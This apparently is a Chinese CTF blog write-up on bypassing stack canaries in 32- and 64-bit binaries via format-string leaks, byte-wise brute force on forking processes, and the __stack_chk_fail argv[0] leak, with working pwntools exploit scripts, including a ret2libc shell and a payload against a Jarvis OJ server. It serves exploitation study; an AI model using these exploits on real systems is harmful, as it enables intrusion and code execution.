盒子
盒子
文章目录
  1. 前言:
  2. 概述:
  3. 详解:
    1. 先了解一下canary的含义:
    2. 格式化字符串绕过:
      1. EXP:
    3. 暴力破解尝试canary值-针对fork的进程:
      1. EXP:
    4. 有意触发canary-利用__stack_chk_fail:
      1. EXP:

一道格式化加栈溢出引出的canary绕过总结

前言:

这是国赛半决赛上做的一道题,还是头一次学完pwn之后在比赛上用到,发现国赛的题都是栈溢出的题,总体难度不大,可能是因为是学生之间出题的缘故吧。不过题目基本都被学长做了,我只好事后慢慢回味,这次比赛差一点就能进决赛了,终究还是差一点。还是很遗憾的吧。

概述:

一道既包含了格式化字符串又包含了栈溢出的题,但是最后要溢出修改返回地址的时候出现了canary保护,所以我们需要想办法绕过canary的保护。

详解:

check一下:

屏幕快照 2018-06-10 上午10.22.59

开了canary。再看看程序内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+8h] [ebp-70h]
unsigned int v5; // [esp+6Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
setbuf(_bss_start, 0);
printf("please input your name:");
gets(&s);
puts("Welcome to participate the ciscn ctf!");
get_message(&s);
puts("thank you!");
return 0;
}
1
2
3
4
5
6
7
8
9
10
void __cdecl get_message(const char *a1)
{
char s; // [esp+18h] [ebp-70h]
unsigned int v2; // [esp+7Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
printf(a1);
printf(", can you leave me some messages:");
gets(&s);
}

看到两处的gets和一处的printf格式化。所以思路很明确。

  1. 泄漏puts函数地址
  2. 得到system函数,/bin/sh地址
  3. 绕过canary,覆盖返回地址

用第一个gets函数和printf去泄漏,第二个gets函数去覆盖返回地址。这里主要讲canary绕过。

先了解一下canary的含义:

程序里的canary是来检测栈溢出的,它的检测机制是这样的:

屏幕快照 2018-06-10 上午10.38.26

先从不知道哪个地方赋值给eax,这个值也无法预测,放到栈上之后eax也被清空了(xor eax,eax)

屏幕快照 2018-06-10 上午10.34.15

最后程序快要结束的时候,又从栈中取出了这个值,与原先的canary值进行比较。所以使用栈溢出的时候会把它覆盖从而跳转到了__stack_chk_fail处使得程序结束。网上有一张图表示了canary在栈中的情况:

屏幕快照 2018-06-10 上午10.47.36

但是我觉得这张图不太准确,canary和ebp之间还是有一些字节的。就是说它们两个之间还有一些距离。

了解完canary原理之后现在来看看canary的绕过方法:

格式化字符串绕过:

格式化字符串能打印出任意地址的内容,所以可以利用这个来取出canary所在位置的内容,在覆盖返回地址的padding块中填上正确的canary值。绕过canary检测。所以上面提到的那一道题目就很容易解了。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

p = process('./pwn5')
#p = remote('10.50.6.2',1337)
elf = ELF('pwn5')
libc = ELF('libc.so')

p.recvuntil('name:')
p.sendline('%34$p,%35$p')
p.recvuntil('ctf!\n')
data = p.recv(10)
data = int(data,16)
p.recvuntil(',')
cannary = p.recv(10)
cannary = int(cannary,16)

puts_addr = data - 11
print hex(puts_addr)
base = puts_addr - libc.symbols['puts']
system_addr = base + libc.symbols['system']
bin_addr = base + libc.search('/bin/sh').next()
print hex(system_addr),hex(bin_addr)
p.recvuntil('messages:')
playload = 'a'*100 + p32(cannary) + 'A'*12 + p32(system_addr) + 'AAAA' + p32(bin_addr)
#gdb.attach(p)
p.sendline(playload)

p.interactive()

暴力破解尝试canary值-针对fork的进程:

对fork而言,作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然canary值也一样。那我们就可以逐位爆破,如果程序崩溃了就说明这一位不对,如果程序正常就可以接着跑下一位,直到跑出正确的canary。

另外有一点就是canary的最低位是0x00,这么做为了防止canary的值泄漏。比如在canary上面是一个字符串,正常来说字符串后面有0截断,如果我们恶意写满字符串空间,而程序后面又把字符串打印出来了,那个由于没有0截断canary的值也被顺带打印出来了。设计canary的人正是考虑到了这一点,就让canary的最低位恒为零,这样就不存在上面截不截断的问题了。

示例程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/**
* compile cmd: gcc source.c -m32 -o bin
**/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>
void getflag(void) {
char flag[100];
FILE *fp = fopen("./flag", "r");
if (fp == NULL) {
puts("get flag error");
exit(0);
}
fgets(flag, 100, fp);
puts(flag);
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void fun(void) {
char buffer[100];
read(STDIN_FILENO, buffer, 120);
}
int main(void) {
init();
pid_t pid;
while(1) {
pid = fork();
if(pid < 0) {
puts("fork error");
exit(0);
}
else if(pid == 0) {
puts("welcome");
fun();
puts("recv sucess");
}
else {
wait(0);
}
}
}

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.log_level = 'debug'
cn = process('./bin')
cn.recvuntil('welcome\n')
canary = '\x00'
for j in range(3):
for i in range(0x100):
cn.send('a'*100 + canary + chr(i))
a = cn.recvuntil('welcome\n')
if 'recv' in a:
canary += chr(i)
break
cn.sendline('a'*100 + canary + 'a'*12 + p32(0x0804864d))
flag = cn.recv()
cn.close()
log.success('flag is:' + flag)

有意触发canary-利用__stack_chk_fail:

这里可以使用jarvis oj中 smashes一题。

关键函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__int64 func_1()
{
__int64 v0; // rax@1
__int64 v1; // rbx@2
int v2; // eax@3
__int64 buffer; // [sp+0h] [bp-128h]@1
__int64 canary; // [sp+108h] [bp-20h]@1
canary = *MK_FP(__FS__, 40LL);
__printf_chk(1LL, (__int64)"Hello!\nWhat's your name? ");
LODWORD(v0) = _IO_gets(&buffer);
if ( !v0 )
label_exit:
_exit(1);
v1 = 0LL;
__printf_chk(1LL, (__int64)"Nice to meet you, %s.\nPlease overwrite the flag: ");
while ( 1 )
{
v2 = _IO_getc(stdin);
if ( v2 == -1u )
goto label_exit;
if ( v2 == '\n' )
break;
flag[v1++] = v2;
if ( v1 == 32 ) // 32长度
goto thank_you;
}
memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));
thank_you:
puts("Thank you, bye!");
return *MK_FP(__FS__, 40LL) ^ canary;

gets函数的栈溢出,这里就需要用一种SSP(Stack Smashing Protector) leak方法了。

前面已经提到了,如果canary的值被我们覆盖了变化之后程序会执行___stack_chk_fail函数。

屏幕快照 2018-06-10 上午11.29.56

我们来看看他的源码:

__stack_chk_fail :

1
2
3
4
5
void 
__attribute__ ((noreturn))
__stack_chk_fail (void) {
__fortify_fail ("stack smashing detected");
}

fortify_fail :

1
2
3
4
5
6
7
8
9
void 
__attribute__ ((noreturn))
__fortify_fail (msg)
const char *msg; {
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>")
}
libc_hidden_def (__fortify_fail)

可见,__libc_message 的第二个%s输出的是argv[0],argv[0]是指向第一个启动参数字符串的指针,而在栈中,大概是这样一个画风:

屏幕快照 2018-06-10 上午11.34.54

所以,只要我们能够输入足够长的字符串覆盖掉argv[0],我们就能让canary保护输出我们想要地址上的值。

我们试试看,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.log_level = 'debug'
#cn = remote('pwn.jarvisoj.com', 9877)
cn = process('pwn_smashes')
cn.recv()
cn.sendline(p64(0x0000000000400934)*200) #直接用我们所需的地址占满整个栈
cn.recv()
cn.sendline()
cn.recv()
#.rodata:0000000000400934 aHelloWhatSYour db 'Hello!',0Ah ; DATA XREF: func_1+1o
#.rodata:0000000000400934 db 'What',27h,'s your name? ',0
#.rodata:000000000040094E ; char s[]
#.rodata:000000000040094E s db 'Thank you, bye!',0 ; DATA XREF: func_1:loc_400878o
#.rodata:000000000040095E align 20h
#.rodata:0000000000400960 aNiceToMeetYouS db 'Nice to meet you, %s.',0Ah
#.rodata:0000000000400960 ; DATA XREF: func_1+3Fo
#.rodata:0000000000400960 db 'Please overwrite the flag: ',0
#.rodata:0000000000400992 align 8
#.rodata:0000000000400992 _rodata ends

输出结果:

1
2
3
4
[DEBUG] Received 0x56 bytes:
'Thank you, bye!\n'
'*** stack smashing detected ***: Hello!\n'
"What's your name? terminated\n"

但是,当我们把地址换成flag的地址时,却可以发现flag并没有被打印出来,那是因为在func_1函数的结尾处有这样一句:

1
memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));

所以,无论如何,等我们利用canary打印flag的时候,0x600D20上的值已经被0完全覆盖了,因此我们无法从0x600D20处得到flag。

这就是这道题的第二个考点,ELF的重映射。当可执行文件足够小的时候,他的不同区段可能会被多次映射。这道题就是这样。

屏幕快照 2018-06-10 上午11.44.48

可以看到,在0x400d20处还存在着flag的备份。

EXP:

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level = 'debug'
cn = remote('pwn.jarvisoj.com', 9877)
#cn = process('pwn_smashes')
cn.recv()
cn.sendline(p64(0x0400d20)*200)
cn.recv()
cn.sendline()
cn.recv()
支持一下
扫一扫,支持v1nke
  • 微信扫一扫
  • 支付宝扫一扫